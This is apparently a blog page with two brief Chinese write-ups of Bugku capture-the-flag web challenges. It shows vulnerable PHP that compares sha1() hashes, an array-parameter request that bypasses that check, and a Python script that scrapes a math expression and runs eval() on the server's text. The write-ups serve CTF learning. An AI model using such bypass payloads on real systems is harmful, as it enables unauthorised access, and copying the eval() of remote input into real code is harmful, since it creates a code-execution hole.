Alleysira's blog
0%

Posted on Edited on In

Web2

Bugku-各种绕过哟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>

sha1()函数同md5()，可以用数组绕过

1
2
http://114.67.246.176:13558/?id=margin&uname[]=1
postdata:passwd[]=2
Read more »

Posted on Edited on In

Bugku-秋名山车神

快速反弹 POST 请求，因为精度问题需要多次尝试

1
2
3
4
5
6
7
8
9
import requests
import re
url = 'http://114.67.246.176:17516/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
Read more »